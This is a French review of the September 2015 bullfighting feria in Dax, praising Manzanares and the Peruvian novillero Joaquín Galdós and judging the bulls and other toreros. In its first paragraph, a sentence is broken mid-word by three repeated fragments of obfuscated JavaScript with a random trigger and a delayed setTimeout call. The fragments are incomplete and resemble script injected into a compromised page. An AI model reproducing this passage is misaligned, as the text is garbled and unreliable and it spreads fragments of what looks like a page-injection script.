DAX SEPTEMBRE 2015 MANZANARES ET GALDOS

Ce sont les deux toreros qui se sont distingués ce dernier week-end à Dax. Manzanares, avec un public qui a tout de suite pris partie pour lui, a toréé avec aisance un bon lot de Montalvo. Sans trop exiger de lui, avec technique, bon goût mais aussi sans prendre trop de risques. Il manquait une nouvelle fois ce pas en avant qui marque la différence, provoque l’émotion et la profondeur. Il acheva son premier d’un volapié fulminant et clôtura son après-midi avec un recibir, estocades qui lui ont permis de couper deux oreilles à chaque toro, une récompense excessive mais que la majorité du public demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda avec ferveur.

Celui qui a réalisé le meilleur toreo de cette feria « Toros y Salsa » est le novillero péruvien Joaquín Galdós. Plus que prometteur, à la hauteur de toreros d’expérience. Mais au-delà de la technique, de sa précoce maturité, ce qui a surtout séduit c’est son temple, sa cadence, ce sentimiento qui imprégnait chacune de ses passes, à la cape et à la muleta. Comme ces savoureuses passes aidées par le bas, très longues, ces droitières au ralenti collé au toro, d’une classe extraordinaire. Il coupa deux oreilles méritées à son premier et une au suivant, où il nous délecta à nouveau, surtout de la main droite. Il eut deux bons novillos de El Parralejo, le premier fit un tour de piste posthume.

Pour le reste, la feria démarra avec une décevante et décastée corrida de Cuadri, dont les toros chargèrent à peine, à l’exception de l’un d’entre eux auquel Robleño aurait pu couper une oreille après quelques bonnes séries de la main droite. La novillada matinale de El Parralejo, bien présentée, permit aux novilleros de s’exprimer comme ce fut le cas pour Galdós et il y eut aussi de bons passages de Alvaro Lorenzo. Cependant le novillero dacquois Louis Husson ne sut pas saisir sa chance et déçut les siens. Il manqua à la corrida de Montalvo du piquant mais elle fut noble dans l’ensemble, à l’exception du lot de Perera qui ne lui permit en aucune manière de briller. Juan Mora fut parfois débordé mais, à son dernier, il cisela des passes intermittentes mais avec cette belle esthétique qu’il détient encore, malgré le temps qui passe.

Les commentaires sont fermés.